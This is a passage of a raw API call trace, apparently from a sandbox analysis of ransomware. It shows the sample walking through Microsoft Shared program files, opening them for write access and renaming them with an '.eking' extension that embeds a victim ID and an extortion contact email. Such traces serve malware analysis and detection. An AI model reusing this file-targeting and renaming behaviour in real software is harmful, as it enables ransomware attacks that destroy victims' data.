hFile=0x1cc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15067) returned 1 [0165.530] CloseHandle (hObject=0x1cc) returned 1 [0165.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0165.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0165.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.531] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1069) returned 1 [0165.531] CloseHandle (hObject=0x1cc) returned 1 [0165.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0165.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0165.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.535] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1061) returned 1 [0165.535] CloseHandle (hObject=0x1d0) returned 1 [0165.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0165.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0165.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.535] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1682) returned 1 [0165.535] CloseHandle (hObject=0x1d0) returned 1 [0165.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0165.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0165.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.536] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1382) returned 1 [0165.536] CloseHandle (hObject=0x1d0) returned 1 [0165.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0165.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0165.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.545] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=73080) returned 1 [0165.545] CloseHandle (hObject=0x1d0) returned 1 [0165.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0165.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0165.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.546] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=302976) returned 1 [0165.547] CloseHandle (hObject=0x1d0) returned 1 [0165.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0165.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt")) returned 0x20 [0165.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.554] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=280448) returned 1 [0165.554] CloseHandle (hObject=0x1cc) returned 1 [0165.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0165.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0165.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.560] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1257984) returned 1 [0165.560] CloseHandle (hObject=0x1d0) returned 1 [0165.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0165.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0165.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.561] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1831424) returned 1 [0165.561] CloseHandle (hObject=0x1d0) returned 1 [0165.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0165.561] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0165.562] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0 [0165.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.563] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=430080) returned 1 [0165.563] CloseHandle (hObject=0x1d0) returned 1 [0165.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0165.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0165.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.565] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=791686) returned 1 [0165.565] CloseHandle (hObject=0x1d0) returned 1 [0165.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0165.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0165.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.567] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0165.567] CloseHandle (hObject=0x1d0) returned 1 [0165.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0165.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0165.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.568] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0165.568] CloseHandle (hObject=0x1d0) returned 1 [0165.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0165.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0165.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.569] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=27045) returned 1 [0165.569] CloseHandle (hObject=0x1d0) returned 1 [0165.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0165.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0165.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.570] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=193024) returned 1 [0165.570] CloseHandle (hObject=0x1d0) returned 1 [0165.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0165.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0165.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.571] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0165.571] CloseHandle (hObject=0x1d0) returned 1 [0165.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 